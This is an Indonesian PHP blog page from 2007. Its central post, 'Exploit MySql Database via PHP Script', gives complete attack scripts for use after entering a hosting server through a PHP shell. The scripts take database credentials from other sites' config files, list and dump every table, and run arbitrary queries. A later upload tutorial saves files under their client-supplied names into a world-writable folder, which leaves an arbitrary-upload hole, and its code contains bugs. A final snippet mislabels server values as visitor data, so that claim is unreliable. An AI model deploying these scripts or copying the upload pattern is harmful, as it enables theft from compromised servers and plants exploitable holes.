Showing posts with label php. Show all posts
Showing posts with label php. Show all posts

25 January 2007

Terjun ke dunia Web harus menguasai Server Side juga Client Side Programming


Setelah 2 tahun bercinta dengan web programming akhirnya saya menyadari bahwa untuk benar benar bisa menjadi programmer web yang baik harus bisa menguasai 2 sisi pemrograman, yaitu client side dan server side, keduanya tidak bisa di pisahkan,

Teknologi yang digunakan dalam pemrograman web dibagi menjadi dua yaitu server side dan client side. Pada server side, perintah-perintah program dijalankan di server dan dikirimkan ke browser sudah dalam bentuk HTML. Sedangkan client side, proses akan dilakukan di web browser. Biasanya client side digunakan untuk hal-hal yang membutuhkan interaksi user tetapi data yang ditampilkan tetap dan seragam.

Aplikasi web berjalan pada protokol HTTP, dan semua protokol di internet selalu melibatkan antara server dan client. Ketika seseorang mengetikkan suatu alamat di browser, maka browser akan mengirimkan perintah tersebut ke web server. Jika yang diminta oleh client adalah file yang mengandung perintah server side maka server web akan menjalankan dahulu program tersebut lalu mengirimkannya kembali ke browser dalam bentuk HTML sehingga dapat diterjemahkan oleh browser. Sedangkan jika yang diminta oleh client adalah file yang mengandung file client side maka oleh server file tersebut akan langsung dikirimkan ke browser.

"kenapa saya harus menguasai dua2 nya, sedangkan saya bisa membuat web dengan salah satunya?"

untuk server side programming seperti php dan asp, memang terkenal handal, apalagi php saya dapat merasakannya sendiri, betapa hebatnya bahasa yang satu ini, untuk penggunaan database gak perlu di tanya lagi, sangat powerfull, dan masih banyak lagi yang bisa di lakukannya..

namun tidak semua layanan efektive menggunakan server side saja,
contohnya anda ingin membuat content yang realtime update seperti bursa saham contohnya, gak mungkin anda pake php atau asp yang berbasis server side untuk menampilkan data yang up to date itu, karena kita tau bahasa tersebut berjalan/ dieksekusi pada saat page load, dan membutuhkan proses lagi di server baru kemudian di kirimkan ke browser, sbenarnya bisa saja dilakukan tapi gak lucu kalo kita harus membuat web browser refresh tiap detiknnya, karena akan memakan waktu dan tidak efektif...

kita tau kehandalan java script sejak kemunculannya hingga saat ini, kita dapat membuat applikasi yang berjalan di browser tanpa harus mlakukan load page ketika harus melakukan suatu proses, beberapa contoh yang sering di gunakan seperti menu rollover, pop up menu dan animasi animasi web, kebanyakan menggunakan java sebagai client side programming, dan layanan yang saya pakai untuk menuliskan posting ini pun menggunakannya, dengan tampilan mirip notepad he he he, pokoknya untuk applikasi web java scrip top bgt..

jadi anda bisa bayangkan kalau anda hanya menguasai salah satunya, pasti kreatifitas anda akan sangat terbatas, dan hasil web yang anda bikin pasti sangat tidak atraktif, walaupun mungkin content nya powerfull, saya jamin..

20 January 2007

Exploit MySql Database via PHP Script


Tulisan ini saya buat, karena kebingungan saya untuk melihat database (semuanya...mulai dari nama table, field sampai dengan isinya)..
setelah saya berhasil masuk kedalam server hostingan (dengan menggunakan php shell).

Jadi langsung saja kita mulai:

langkah 1

Script yang saya buat terdiri dari 2 buah file:
1.admindb.php
2.adminatedb.php

sebelumnya karena saya pemula maka file ini script ini sangat sederhana....dan masih dapat dimodifikasi lagi

Langkah2:

1. Dapatkan file konfigurasi database dari tiap situs dalam server (gunakan php shell untuk browsing)
2. Setelah dapat maka kita hanya tinggal memasukkan nama DB, username, password dan server(default localhost)
3. jalankan file admindb.php

admindb.php

<?php if(!$submit) {
echo "Lihat Database";
echo "<form name=\"form1\" method=\"post\" action=\"\">
<table width=\"325\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\"><tr>

<td width=\"150\">Masukkan database</td>
<td width=\"4\">:</td>
<td width=\"170\"><input name=\"db\" type=\"text\" id=\"db\"></td>
</tr>
<tr>
<td width=\"150\">Masukkan username</td>
<td width=\"4\">:</td>
<td width=\"170\"><input name=\"user\" type=\"text\" id=\"user\"></td>
</tr>
<tr>
<td width=\"150\">Masukkan nama server</td>
<td width=\"4\">:</td>
<td width=\"170\"><input name=\"server\" type=\"text\" id=\"server\"
value=\"localhost\"></td>
</tr>
<tr>
<td width=\"150\">Masukkan password</td>
<td width=\"4\">:</td>
<td width=\"170\"><input name=\"password\" type=\"text\"
id=\"password\"></td>
</tr>
<tr>
<td></td>

<td></td>
<td><input name=\"submit\" type=\"submit\" id=\"submit\"
value=\"Attack\"></td>
</tr>
</table>
</form> ";
}

else

{mysql_connect($server,"$user", "$password");
$hasil=mysql_db_query($db, "show tables from $db");
$isi=mysql_num_rows($hasil);
while($isi1=mysql_fetch_row($hasil)){
for($jml=0;$jml<$isi;$jml++){
$isi2.="$isi1[$jml]\n";
}
}
echo "Nama-nama table database $db<br><br>";
echo "$isi2";
echo "<br><br><a href=admindb.php>kembali</a>";
echo "<br><a href=adminatedb.php?proses=0&db=$db&server=$server&user=$user&password=$password>lihat
field</a>";
echo "<br><a
href=adminatedb.php?proses=1&db=$db&server=$server&user=$user&password=$password>isi
field</a>";
echo "<br><a
href=adminatedb.php?proses=2&db=$db&server=$server&user=$user&password=$password>query
table</a>";
}
?>

adminatedb.php

<?php
switch($proses){
case'0':{
if(!$submit) {
echo "Lihat field Table pada $db";
echo "<form name=\"form1\" method=\"post\" action=\"\">
<table width=\"325\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">
<tr>
<td width=\"150\">Masukkan table</td>
<td width=\"4\">:</td>
<td width=\"170\"><input name=\"table\" type=\"text\" id=\"table\"></td>
</tr>
<tr>
<td></td>
<td></td>
<td><input name=\"submit\" type=\"submit\" id=\"submit\"
value=\"Attack\"></td>
</tr>
</table>
</form> ";
}
else
{ mysql_connect($server,"$user", "$password");
$hasil=mysql_db_query($db, "show fields from $table");
$isi=mysql_num_rows($hasil);
while($isi1=mysql_fetch_row($hasil)){
for($jml=0;$jml<$isi;$jml++){
$isi2.="$isi1[$jml]\n";
}
}
echo "field-field table $table<br><br>";
echo "$isi2";
echo "<br><br><a href=admindb.php>kembali</a>";
echo "<br><a href=adminatedb.php?proses=1&db=$db&server=$server&user=$user&password=$password>kembali
table</a>";
}
break;
}
case'1':{
if(!$submit) {
echo "Lihat Isi Table pada $db";
echo "<form name=\"form1\" method=\"post\" action=\"\">
<table width=\"325\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">
<tr>
<td width=\"150\">Masukkan table</td>
<td width=\"4\">:</td>
<td width=\"170\"><input name=\"table\" type=\"text\" id=\"table\"></td>
</tr>
<tr>
<td></td>
<td></td>
<td><input name=\"submit\" type=\"submit\" id=\"submit\" value=\"Attack\"></td>
</tr>
</table>
</form> ";
}
else{
mysql_connect($server,"$user", "$password");
$parameter=mysql_db_query($db, "show fields from $table");
$hasil=mysql_db_query($db, "select * from $table");
$isi=mysql_num_rows($parameter);
while($isi1=mysql_fetch_row($hasil))
{for($jml=0;$jml<$isi;$jml++)
{$isi2.="$isi1[$jml]\n";
}
}
echo "isi table $table<br><br>";
echo "$isi2";
echo "<br><br><a href=admindb.php>kembali</a>";
}
break;
}
case'2':{
mysql_connect(localhost,"", "");
if($submit) {
//$pass=md5($password);
$hasil =mysql_db_query($db, "$query");
if($hasil){
echo "Serangan Berhasil";
}
else {
echo "Serangan gagal";
}
}
else {
echo "<form name=\"form1\" method=\"post\" action=\"\">
<table width=\"233\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">
<tr>
<td width=\"59\">query</td>
<td width=\"4\">:</td>
<td width=\"170\"><textarea name=\"query\" rows=\"5\" id=\"query\"></textarea></td>
</tr>
<tr>
<td></td>
<td>:</td>
<td><input name=\"submit\" type=\"submit\" id=\"submit\"></td>
</tr>
</table>
</form>";
}
}
break;
}
?>

4. Selamat browsing isi database yah....

Perhatian ... teknik ini berfungsi saat kita sudah dapat masuk ke

server tersebut dan dapat mengupload file2 tersebut



http://groups.google.com/group/jogjahacking/browse_thread/thread/51b5d6e388ad0b37/#

Upload File Dengan PHP


Mengirimkan file ke server adalah hal yang mudah bila dilakukan dengan menggunakan FTP client oftware, dan hal tersebutlah yang biasa kita lakukan.

Kali ini kita akan mencoba melakukannya dengan PHP. Artikel ini bisa digunakan bagi Anda yang kerkeinginan untuk membuat semacam file sharing atau photo gallery dan lain-lain.

Yang harus kita siapkan adalah sebagai berikut :

1. Apache server terinstall dengan baik.
2. PHP terinstall dengan baik.
3. Pengetahuan Anda tentang PHP
4. Pengetahuan Anda tentang CHMOD

Persiapan

Buatlah satu direktori pada server Anda dengan nama 'files', lalu buatlah permition direktori tersebut menjadi 777 dengan cara melakukan perintah chmod 777 files. Setelah selesai, marilah kita mulai membuat script php yang akan kita gunakan untuk meng-upload file.

Kode baris per baris.

$jumlahfile = 2;

Variable ini akan menentukan berapa jumlah form file yang akan di tampilkan pada saat user Anda mulai melakukan aktifitas upload.

$file_dir = dirname(__FILE__)."/files/";

Variable ini mendefinisikan dimanakah letak file-file yang akan di upload. Digunakan dua fungsi pada baris ini, yaitu dirname(string) berguna untuk mengetahui lokasi asli atau original path dari string.
Berikutnya adalah sebuah predefined variable yaitu __FILE__ yang dimasukkan sebagai string untuk fungsi dirname.
Variable tersebut menunjukkan ke arah script PHP yang sedang kita buat sekarang, kemudian ditambahkan dengan sub direktori bernama files.

if ($_POST) {

Sebuah kondisi yang melihat apakan user sudah menekan tombol submit atau menekan enter, jika sudah makan fungsi-fungsi berikutnya akan dijalankan. Bila belum maka fungsi-fungsi setelah tanda } akan dijalankan.

for ($i=0;$i<$jumlahfoto;$i++) {

Perintah di atas akan membuat script untuk melakukan perulangan dari fungsi dan perintah didalamnya sebanyak n yang telah ditentukan pada variable $jumlahfile.

if (trim($_FILES['by']['name'][$i])!="") {

Kondisi ini akan melihat apakah form yang sudah di submit oleh user mengandung file yang sudah diseleksi sebelumnya atau belum, jika sudah maka fungsi dan perintah di dalam kondisi ini akan dijalankan.

$newfile = $file_dir.$_FILES['by']['name'][$i];

Sekali lagi kita mendefinisikan sebuah variable bernama $newfile, yang tujuannya adalah membuat nama file yang akan di upload itu sesuai dengan nama aslinya sekaligus juga dengan direktori tempat file tersebut akan diletakkan.

move_uploaded_file($_FILES['by']['tmp_name'][$i], $newfile);

Perintah di atas akan membuat file-file yang sudah di upload ke direktori sementara pada server dipindahkan ke tempat dimana sudah kita sediakan dengan variable $newfile di atas.

print "<form method="post" enctype="multipart/form-data">";
for($i=0;$i<$ jumlahfile;$i++) {
print "<input type="file" name="by[]" size="30"><br>";
}

print "<input type="submit" name="action" value="Upload">";
print "</form>";

Kode-kode tersebut akan membuat sebuah tampilan form pada layar browserser Anda. Jumlah form untuk input file adalah sebanyak anda mendefinisikan variable $jumlahfile di atas.

Rangkuman Kode

<?php
$jumlahfile = 2;
$file_dir = dirname(__FILE__)."/files/";
if ($_POST) {
for ($i=0;$i<$jumlahfoto;$i++) {
if (trim($_FILES['by']['name'][$i])!="") {
$newfile = $file_dir.$_FILES['by']['name'][$i];
move_uploaded_file($_FILES['by']['tmp_name'][$i], $newfile);

}
}
}
print "<form method="post" enctype="multipart/form-data">";
for($i=0;$i<$ jumlahfile;$i++) {
print "<input type="file" name="by[]" size="30"><br>";
}
print "<input type="submit" name="action"
value="Upload">";
print "</form>";
?>

Kesimpulan.

Penjelasan ini merupakan penjelasan yang singkat dan tidak begitu memperhatikan dari aspek keamanan dan besarnya sebuah file atau properti lain dari file itu sendiri. Diharapkan dengan membaca artikel ini Anda dapat memodifikasinya kembali dan menambahkan berbagai macam fungsi sehingga dapat berguna bagi proyek web Anda. Saya sangat terbuka untuk berdiskusi mengenai PHP script.


artikel juga dapat di baca di :


http://id.php.net/manual/en/function.move-uploaded-file.php

19 January 2007

menampilkan variable environment client dengan php

ternyata blogs banyak manfaatnya juga,
hmm punya unek unek tapi cuman dikit banget adanya, so mo diapain.
dipikir pikir enakan di posting aja di blogs, siapa tau ada temen temen yang mo lengkapin.
he he he

ini ada sedikit script php bagi temen temen yang ingin ngembangin website karya sendiri, fungsi script berikut untuk menampilkan variable environment client yang membuka website kita :D
seperti IP, browser yang di gunakan, port yang di pakai, nama server, sampe sistem rootnya :D

hmm kita mulai aja ya :)


<?php
//mendevenisikan variabel
$tanggal = date('d/m/Y');
$nama = "GUEST";
$browser = $_SERVER['HTTP_USER_AGENT'];
$server = $_SERVER['SERVER_NAME'];
$ip = $_SERVER['SERVER_ADDR'];
$port = $_SERVER['SERVER_PORT'];
$system = $_SERVER['SystemRoot'];
printf ("skarang tanggal %s", $tanggal);
echo "<br>";

//menampilkan variabel
printf("Halo, %s", $nama);
echo "<br>";
printf("browser kamu : %s", $browser);
echo "<br>";
printf("server kamu : %s", $server);
echo "<br>";
printf("IP kamu : %s", $ip);
echo "<br>";
printf("port yang kamu pake : %s", $port);
echo "<br>";
printf("System Root kamu : %s", $system);
echo "<br>";
echo "BENER KHAN TEBAKANKU, AYO NGAKU JANGAN BOONG";
?>


setelah mengetikan script php tsb, silahkan kamu simpan di root folder di webserver kamu, atau bisa juga di sisipkan di web kamu, di tempat yang sudah kamu sediakan, yang nantinya berfungsi untuk menampilkan data pengunjung,

hasil dari script di atas adalah sebagai berikut :
skarang tanggal 20/01/2007
Halo, GUEST
browser kamu : Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7
server kamu : localhost
IP kamu : 127.0.0.1
port yang kamu pake : 80
System Root kamu : C:\WINDOWS
BENER KHAN TEBAKANKU, AYO NGAKU JANGAN BOONG